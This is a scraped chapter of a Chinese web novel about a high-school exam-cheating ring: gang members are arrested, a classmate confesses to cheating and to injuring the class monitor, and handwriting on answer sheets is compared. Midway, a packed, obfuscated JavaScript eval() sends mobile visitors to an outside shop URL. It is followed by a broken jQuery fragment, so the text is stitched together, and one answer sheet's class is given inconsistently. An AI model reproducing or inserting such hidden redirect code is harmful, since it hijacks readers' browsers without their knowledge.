1月26日下午五点钟。
伴随着一记悠长的铃声划破校园的天空,为期两天的期末考试终于结束。
紧绷了整整两天的校园,此刻像是一个被突然拔掉塞子的高压锅,震耳欲聋的欢呼声和桌椅碰撞声瞬间在各个教室里沸腾起来。
冬日傍晚的寒风虽然凛冽,却吹不散学生们涌出校门时的那股狂热与轻松的劲儿。
汤振把两支签字笔丢进笔袋,拿起书包,单挎着其中一条肩带,和于浩宁一起挤在人潮中,朝校门口走去。
“浩磊,浩宁。”
两人刚出校门外,身后便传来了一阵急促的脚步声。
丁航推开人群,气喘吁吁地凑到了两人跟前。
那张略带粗犷的脸上,此刻并没有考试结束后的轻松,反而透着一股随时准备拼命的紧绷感。
“浩磊,”丁航警惕地扫视着周围,问道:“已经五点了。咱们现在是不是该按照昨天傍晚的约定……”
看着丁航如临大敌的模样,汤振忍不住想笑,停下脚步,眼神平静地看着丁航,嘴角从容地上扬。
“去,当然要去,但是……”
汤振话锋一转,声音不大,却带着能安定人心的奇特力量,“今天咱们不用进到14巷里边去,但要去后街那边晃悠一圈。走吧,带你去看好戏。”
于浩宁朝汤振伸手道:“诶,我们……还是注意安全吧。”
汤振轻拍了拍于浩宁的肩膀,“没事儿,不用担心,远远地看看就行!”
丁航愣了一下,满头雾水地眨了眨眼睛,但现下也没多问,乖乖地跟在汤振和于浩宁身后,朝学校后街的方向走去。
刚拐过路口,距离14巷还有大半条街的距离,丁航的脚步就猛地停在了原地。
“哇……那边发生了什么?”丁航倒吸了一口凉气,眼睛瞬间睁得老大。
只见暮色四合下,前方红蓝交织的刺眼警灯正在疯狂闪烁。
二中后街14巷的巷口,三辆鸣着警笛的警车将那条狭窄的小巷堵得水泄不通,周围拉起了黑黄相间的警戒线,有不少放学的学生,以及附近的居民,正远远站在外围看热闹。
汤振立刻往后退了半步,借着街角一家小卖部外伸出来的雨棚阴影,将自己的大半个身子藏匿在暗处。
丁航和于浩宁也挤在汤振身边,三人的目光穿过人群,紧紧盯着不远处的14巷巷口。
“老实点,蹲下,双手抱头!”
三分钟后,伴随着警察严厉的呵斥声,十个灰头土脸的混混戴着手铐,像一长串被拔了牙的毒蛇,耸拉着脑袋,从14巷里被押了出来。
在警察面前,这十个混混是一个字也不敢说,尽管其中几个人脸上还有忿忿之色,但还是得乖乖把手放在身前,走向警车,手上还锁着银晃晃的手铐。
汤振一眼认出,走在最前面的那个,就是昨天嚣张跋扈的樊奕诚。
樊奕诚此刻哪还有半点威风?他右脸贴着两张创可贴,想必是昨天被汤振用啤酒瓶打伤的。
两名防暴警察一左一右按着樊奕诚的肩膀,樊奕诚还梗着脖子,一脸不服气的模样,但也毫无用处,还是被狼狈不堪地押上了第一辆警车的后座。
紧接着,一名警察从巷子里拿出来一个编织袋,直接倾倒在警车后备箱前。
“哗啦——哐当——”
五把闪着寒光的弹簧刀、三根生锈的空心带刺钢管,还有两根狼牙棒,全部被倒在了水泥地上,砸出一阵令人头皮发麻的金属碰撞声。
这么多管制刀具,可是严重违反当地治安条例的。
丁航呆呆地看着不远处满地的管制刀具,脑门上渗出了一层冷汗。
直到第一辆警车的车门重重关上,丁航才一脸如梦初醒的表情,他转过头,看向目光幽深的汤振。
“我明白了,”丁航压抑不住颤抖的嗓音,看向汤振道:“难怪你昨天表面上那么狂妄地挑衅,原来报了警,好把他们一网打尽。这个办法可真好啊,我怎么就没想到呢。”
听到丁航毫不吝啬的表扬,汤振嘴角难得露出一抹真正放松的笑意,在心里暗暗松了一口气。
看着警车呼啸着驶离街角,汤振清冷的眼眸里闪过一丝如释重负,心里思索着:樊奕诚和另外这九个混混,应该会被关上一段时间吧?樊奕诚在里面蹲着,自然也就老实了。这样一来,不仅拔掉了丁航身上的钉子,也间接可以让自己的身份不暴露得那么快。
“浩磊,浩宁,”丁航兴奋地搓了搓手。
“又怎么啦?”汤振看向丁航。
丁航一把揽住两人的肩膀,豪气地打断了汤振的思绪,畅快道:“这两天真是痛快,不仅这些混混被抓,更重要的是,咱们高一第一学期的期末考试终于结束了!”
丁航拍着胸脯,大声道:“走,今天晚上我请客。咱们找个好点的馆子,吃顿大餐,顺便好好庆祝一下这学期圆满结束。”
“有人请客当然好啊,”于浩宁笑着附和了一声,转头看向汤振,“哥,你想吃啥?”
就在两人满怀期待地看向汤振时,汤振却轻轻拨开了丁航搭在肩膀上的手。
“心意我领了,但晚饭我就不和你们一起吃了。”
说完,汤振把书包的肩带往上提了提,从雨棚的阴影里走了出来,语气重新恢复了深不可测的冷静。
“啊,为什么,”丁航愣住片刻,满脸失落,喃喃道:“今天开始都算是正式放假了,你还有什么事吗?”
汤振点点头,“我现在……还要去找一个人。”
目光越过熙熙攘攘的人群,看向渐渐热闹的街头,汤振的眼神里没了刚才收网时的轻松,反而透着一种极其凝重的冷厉。
“是一个我昨天就想去见的人,”汤振补充道,没有再多做解释,只是不容置疑地朝两人挥了挥手,“你们俩先去吃吧,不用等我,吃完各自回家就行,路上小心。”
听到这话,于浩宁现下也不再勉强,拉了拉还有些发懵的丁航。
丁航反应了过来,连忙点头道:“行吧,那浩磊,你注意安全,见完了那人,你也早点回去。”
于浩宁也转头冲丁航笑了笑,轻松道:“走吧走吧,咱们先去吃大餐,别耽误他,我哥就爱搞些神神秘秘的事儿。”
丁航还想说什么,但也只能把到嘴边的话咽了回去,也朝汤振挥了挥手,随后便和于浩宁一起离开了。
丁航和于浩宁朝步行街的方向走了过去,融入一片灯红酒绿之中。
汤振独自走向远处的街头,背影消失在一片紫红色的晚霞里。
傍晚七点,旧城区的一栋老式居民楼下,汤振的身影出现在了这里。
汤振抬头仰视上去,这栋楼一共八层,外墙的瓷砖早已脱落不少,补了又补的痕迹,让楼房看起来更加老旧。
走进楼道,楼道里的感应灯坏了,汤振借着手机微弱的屏幕光,踩着渗满水渍的楼梯,上到了四楼。
汤振停在右侧那扇防盗门前,抬起手,有节奏地敲了三下。
没过多久,门内传来了一阵拖沓的脚步声。
“咔嗒”一声,防盗门被推开了一条缝。
沈言峰站在门后,穿着一件起球的旧毛衣,神色颓废,眼底布满了红血丝。
看到门外的汤振,沈言峰的脸色并没有惊慌失措,只是木讷地把门彻底推开,转身走回了昏暗逼仄的客厅。
“进来吧,于浩磊,我就知道你考完试会来找我。”沈言峰的声音沙哑得像是在砂纸上磨过,带着一种尘埃落定的沉寂。
汤振摸着门框进入,顺手关上了门,缓步走进客厅,坐在了沙发上。
缓了缓呼吸节奏,汤振看向沈言峰的背影,开口道:“既然你知道我会来,那你也应该清楚,我来找你做什么。”
听见汤振这样说,沈言峰并不回答,只是淡淡地看向沙发旁的书桌,书桌上堆满了教材、教辅资料和一堆试卷,还有一个橙黄色封面的笔记本。
沈言峰走到旧书桌前,拿起了那个笔记本,朝汤振一扔。
“啪——”
沈言峰将那个笔记本一把甩在茶几上,滑出半米,刚好停在汤振的手边。
“你拿去对比吧,”沈言峰说道:“你今天不就是想来看我的字迹吗?”
在浥鸣二中待了一整个学期,汤振还第一次感觉到这么强的压迫感。
汤振有些心虚地将目光缓缓从沈言峰身上移开,看向茶几上的笔记本,拿了起来,翻开查看。
随后,汤振又从自己书包里掏出丁航初三时那张泛黄的物理答题卡,又拿出一张丁航这学期的地理答题卡,将两张答题卡与沈言峰笔记本里的字迹放在台灯下,认真对比起来。
房间里寂静得如同时间静止,只有纸张翻动的轻微沙沙声。
三分钟后,汤振抬起头,眼神变得深邃,又迷茫。
汤振缓了一口气,开口道:“这学期丁航的作弊答题卡,上面的字迹确实是你的。”
说着话,汤振又用指节敲了敲丁航初三那张旧试卷,将其推到沈言峰面前,“但是,丁航初三这张答题卡上,有很多连笔字迹,这些不是你的字迹。也就是说,除了你之外,提前填写答题卡的作弊者,还有其他人。”
说完,汤振抬头看向沈言峰的双眼,“既然你也是作弊团伙的一员,你告诉我,去年填作弊答题卡的人,是谁?”
沈言峰看也没看那两张旧卷子,只颓丧地坐在沙发上,如同自嘲一般,摇了摇头。
“别问我,我也不知道,”沈言峰目光呆滞地望向前方的墙壁,淡淡道:“作弊团伙里的人,都是通过论坛的游客身份互相联系的,根本不知道对方是谁。虽然我不知道去年是谁帮丁航填的答题卡,但我可以告诉你,像我这种帮忙填答题卡的人,咱们学校里不会有太多。”
“为什么?”
“因为利益呵,”沈言峰冷笑了一声,答道:“每次卖答案,赚多少钱基本都是固定的,幕后主使也舍不得分太多钱给我们这些帮手。”
听到这里,汤振的眼神冷了下来,他身子微微前倾,双目直视沈言峰,“说到钱,你之前亲口跟我说过,你偷孟晓芸的手机,是受人威胁,迫不得已。那现在呢,你冒着被开除的风险偷卷子,填答题卡,换答题卡,也是因为受到了幕后主使的威胁吗?”
沈言峰呼吸一滞,咬紧了下唇,避开汤振的视线,不甘道:“我……我就是缺钱,缺钱这个理由还不足以让人信服吗?你别问那么多了,总之,这次作弊被发现,我认栽,处分我也背得心服口服。我知道你看不起我,我也不在乎别人的眼光。”
汤振倒是没有生气,只伸出右手,紧紧抓住了沈言峰的左臂,力道之大,让沈言峰不得不转过头来直视汤振。
“沈言峰,你真是个懦夫,”汤振的声音像冰冷的铁锤:“你以为用一句‘缺钱’就能掩盖你被人当枪使的事实吗?只有你自己真正强起来,才不会怕那些躲在暗处威胁你的人。你越是软弱,越是退让,别人就越会把你当成一条可以随便使唤的狗。”
说完,汤振松开手,眼神仍落在沈言峰身上,一字一句道:“上次被威胁,你为了自保去偷孟晓芸的手机;这次被威胁,你去参与作弊。那下次呢,下下次呢?如果有一天别人威胁你去做更过分的事情,你是不是也要用一句‘我缺钱’来掩饰自己的无能?”
沈言峰的身体轻微颤抖着,眼眶通红,却半个字也反驳不出来。
无奈地看着沈言峰这副烂泥扶不上墙的模样,汤振觉得再多说也是废话,他厌恶地从沙发上站了起来,准备离开这个压抑的房间。
就在汤振起身的瞬间,一个困扰了他半个月的疑团,突然像闪电般划过他的脑海!
汤振停下脚步,转过身,刹那间,眼神变得比刚才更加凌厉可怕。
“我再问你一件事,”汤振的声音变得冰冷如铁:“半个月前的那个晚自习,你故意把椅子往后撞,弄伤了班长右手手腕,也是你故意的,是不是?”
闻言,沈言峰难以置信地大喘了一口气,抬眉看向汤振。
不给对方思考的时间,汤振继续质问道:“是不是因为第三次月考的时候,你看江悦考了全班第一,你只考了全班第二,所以你想在期末考试之前弄伤江悦的手,让她上不了考场,这样期末考试你就可以考全班第一,下学期也能顺利拿到奖学金?”
沈言峰没有再狡辩,颓然地垂下头,双手捂住脸,发出一阵分不清是哭还是笑的喘息声,眼中似有泪水涌出。
“是,”沈言峰的声音从牙缝间挤出来:“半个月前的晚自习,是我鬼迷心窍,我看到班长睡着了,右手也伸出了桌子边缘……我,我在那个瞬间,只能想到那样的馊主意。”
“啪——”
汤振一拳重重砸在旁边的墙壁上,震得墙上镜子的金属边框也嗡嗡作响,他恶狠狠地看向沈言峰,眼底的怒火几乎要将对方烧穿。
“你怎么能这么恶毒?你去找幕后主使讨个说法啊,你怎么能为了自己那点可怜的利益,伤害无辜的班长,万一她的手真的伤到了怎么办?”
“只有把她的手弄伤,她才没办法参加期末考试,”沈言峰双眼赤红地咆哮着,说道:“我当时也担心,万一真的让她的手受了很严重的伤怎么办……至于你说的让我去跟幕后主使斗,那是你太看得起我了,你不知道么?我是个弱者。弱者发怒,只会抽刀向更弱者。”
汤振皱紧眉头,看着眼前这个近乎陷入癫狂的人,感到一阵极度的不可理喻。
“那我问你,”汤振又开口道:“你既然能提前偷到试卷,那你直接把所有答案背下来,考第一不是轻轻松松的事儿吗,你何必冒那么大的风险去弄伤江悦的手?”
空气沉静了两秒。
沈言峰咽了一口唾沫,擦了擦脸上风干的泪痕,低声道:“因为有作文,还有那么多主观论述题……就算我提前拿到了卷子,知道了作文和主观题题目,以我的思维深度和文笔,也很难考得过班长。只要班长在考场上,我拿全班第一的概率就很小。”
汤振站在原地,只感觉大脑一片空白,他静静看着沈言峰,像是在看着一个极其荒诞的人。
“你真是可悲,”汤振冷冷地丢下一句话:“我会把你今天承认的罪行,原原本本地告诉班长,让她自己决定是否原谅你。”
沈言峰的身体不易察觉地一颤,低下了头。
汤振话锋一转:“不过,你也不用担心她以后会针对你,她是班长,更是个有目标,有格局的人,她跟我说过,她不想对任何人抱有偏见。”
汤振拧开了防盗门锁,在踏出房门的那一刻,他轻轻回过头,用一种不可思议的眼神,再次看了沈言峰一眼。
关上门之前,汤振再向沈言峰开口道:“你现在最应该庆幸的,是班长的手腕只是轻微皮外伤,没有大碍。否则……我绝不会轻易饶过你。”
“砰——”
防盗门被重重地关上,汤振头也不回地走进了昏暗的楼道。
走出居民楼,天空已经漆黑一片,汤振的肚子发出一阵饥肠辘辘的响动。
细雨悠然,寒风凛冽。
期末考试结束后,连续五天内,学生们终于可以好好放松一番,这五天里没有作业,也没公布期末考试成绩,直到……
2月1日,是公布期末考试成绩的日子,也是所有学生到校拿放假通知书的日子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575487|205002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上午十点钟。
浥鸣二中的教学楼里,洋溢着一股毫无掩饰的激动和喜悦。
走廊上,江悦正站在教室后门的窗台边,低头将几本寒假作业仔细地装进帆布包里。
汤振一眼便注意到了江悦右手手腕上贴着的一块小小的膏药,也许是五天前的期末考试又让她的手腕有些不适了,但好在整个人的气色倒是已经恢复如常。
汤振拿着放假通知书,穿过走廊拥挤的人群,走到了江悦面前。
看着江悦的右手手腕,汤振深吸了一口气,没有选择隐瞒,而是将五天前那晚在沈言峰家里听来的真相原原本本地告诉了江悦。
汤振讲得有些愤怒,从沈言峰如何因为嫉妒江悦主观题的才华而心生恶念,到他如何鬼迷心窍地将椅子狠狠撞向她的手腕,每一步,汤振都描述得让人感觉历历在目。
听完这番话,江悦却出奇地平静,只是皱眉叹了口气,将最后一本寒假作业塞进包里,拉上拉链。
江悦清澈的眼睛里没有汤振预想中的愤怒或后怕,反而透着一种通透与悲悯。
“原来是这样,”江悦说道,目光看向窗外灰蒙蒙的冬日天空,“没想到,把沈言峰逼到这一步的竟是那种扭曲的自卑心态,我就说他今天怎么连放假通知书也不来拿。”
“所以你不恨他么?”汤振问道。
江悦摇了摇头,“恨呀,但是事情已经发生了,再恨也是折磨我自己,惩罚不了加害者。于浩磊,这世上不是所有的事情都是非黑即白的,我会想办法找一个合适的沟通方式去和他谈谈。如果他真的是因为受人威胁,或者家里有什么困难,不得不想办法去弄到钱,我也会尽我所能去帮助他。比起把他当成一个彻头彻尾的坏人,我更愿意相信,沈言峰骨子里,还是一个有救的好人。”
汤振静静地看着江悦,或许她内心足够强大吧,才足以俯视那些躲在阴沟里算计她的弱者。
“但是,”江悦话锋一转,眼神中闪过一丝不容置疑的锐利,继续说道:“我的宽容只针对我自己,但是如果他以后敢欺负你们,你们必须告诉我,我一定会按学校的规定处理。”
“放心吧,他现在自顾不暇了。”汤振看着眼前的江悦,发自内心地笑了笑。
江悦会心一笑,将帆布包规规矩矩地背在身上,“那我先回家啦,于浩磊,寒假快乐哦!”
“寒假快乐。”汤振抬手挥了挥。
看着江悦快步走下楼梯的背影,汤振长长舒了一口气。
于浩宁此时也正好从教室出来,凑近汤振,问道:“哥,那咱们现在干嘛,也回家吗?”
“先不回家,”汤振刚才的笑容瞬间收敛得干干净净,他抬起头,目光幽深地看向顶楼左边的房间,说道:“那里面是堆放这次期末考试答题卡的,你陪我去一趟吧。我要拿着丁航初三的物理卷子上的字迹认认真真地对比一下,看看初三的时候帮他作弊的人还在不在我们学校读书,如果在,又会是谁。”
中午十二点,整栋教学楼几乎已经空无一人,大家都高高兴兴地回家过寒假了。
期末考试的答题卡通常不会发给学生,因为工作人员几乎也都放了假,堆放的答题卡,最后往往都是当废品售卖掉了。
此刻,存放全校数千份答题卡的办公室大门敞开着,工作人员正在里面做着清洁。
汤振拉着于浩宁走了进去。
工作人员呵斥道:“你们进来干嘛呢?”
“哦,老师,”汤振答道:“我们……就是好奇,想来看看自己期末考试到底做错了哪些题,我是高一3班的于浩磊。”
“我是于浩宁,跟他一个班的。”于浩宁指着汤振说道。
那工作人员拿着扫把,有些没耐心地说道:“自己进来找吧,再来晚点就全部拿到堆放考试资料的办公室去了。”
汤振和于浩宁连连道谢,猫着腰进去翻找起来。
房间里,空气中弥漫着一股浓重的纸张和油墨的味道,一摞摞答题卡像小山一样堆放在几排长长的铁架上。
“哥,这得有多少张答题卡呀,”于浩宁看着这浩如烟海的答题卡,倒吸了一口凉气,叹道:“咱们就算找个三天三夜,也找不完啊!”
“不用挨着找,”汤振动作利落地从书包里掏出丁航那张初三的物理答题卡,将它平铺在一张桌子上,目光冷静理智,说道:“代笔的人既然能把卷子做到近乎满分,那他大概率也不是差生。”
汤振指了指那些按考场序号堆放的试卷,继续道:“学校期末考试的考场,是按成绩排的。我们先抽查每个年级第一个考场考生的答题卡,看看能不能找到字迹一样的。”
于浩宁恍然大悟,“明白了。”
两人立刻分头行动,拆袋,抽卷,比对,封存……
寂静的档案室里,除了一位工作人员扫地的声音以外,便只剩下纸张摩擦的声音。
从高一的第一个考场,查到高二,再到高三……
时间一分一秒过去,每一张答题卡上的字迹都在汤振的视线中快速掠过。
“没有……”
“这个也不对……”
“连笔习惯不吻合……”
就在于浩宁揉着酸痛的脖子,几乎快要放弃的时候——
汤振的手指突然僵住,他紧紧抓着一张高三2班的语文期末答题卡,目光像能沁出血来,如冰霜般盯着手中的答题卡。
就是这张了!
汤振僵硬着手臂,将丁航那张泛黄的初三物理答题卡拉了过来,跟手里这张高一3班的语文答题卡放在一起。
完美重合!
除了高三语文答题卡上的字迹稍微顺滑了一点以外,这两张时间跨越一年的卷子上的字迹,书写习惯和运笔发力等细节,简直是一个模子里刻出来的。
“浩宁,快过来看!”汤振的声音干涩得可怕。
于浩宁察觉到了异样,立刻凑了过来,当他看向桌面上如出一辙的字迹时,眼睛瞬间睁大。
“找到了,”于浩宁激动得声音都在发抖,低声问道:“哥,这是谁的语文答题卡?”
汤振的目光缓缓上移,看向了这张语文答题卡左边的密封线。
密封线内,用极其端正的字体,清清楚楚地写着考生的姓名和班级。
班级:高三2班
姓名:伍泓
空气在这一瞬间凝固成了寒冰。
汤振不敢相信地盯着那两个字,一股彻骨的寒意顺着脊背迅速上涌。
于浩宁的目光也顺势看了过去,随后露出了同样震惊的表情。
汤振朝四周看了看,毫不犹豫地将伍泓的语文答题卡抽了出来,对折几下,利落地塞进了自己的书包夹层里。
于浩宁看着汤振把书包拉链拉好,他不由自主地抓住了汤振的胳膊。
“哥,”于浩宁一边思索,一边问道:“就算咱们证实了伍泓也是代笔人,但我们还是不知道他究竟是不是那个幕后主使。如果伍泓也只是代笔人之一,那这背后还有多少人也参与了进来?”
办公室里又寂静了几秒钟。
汤振站在原地,看着铁架上那成千上万张各个年级、各个学科的答题卡,眼中闪过了一丝沉重的无力与困惑。
“没办法,”汤振的声音有些疲惫和沙哑:“我暂时也不知道该怎么办了。”
冬日的冷风在教学楼外呜咽作响,汤振和于浩宁的高一上学期,就在这样一个未知的迷局中画上了句号。
此时此刻,又还能做些什么呢?
只能等下学期开学再想了……
想了想十天后的旅行,汤振强行换了一副轻松的表情,揽着于浩宁的肩膀,走出了校门。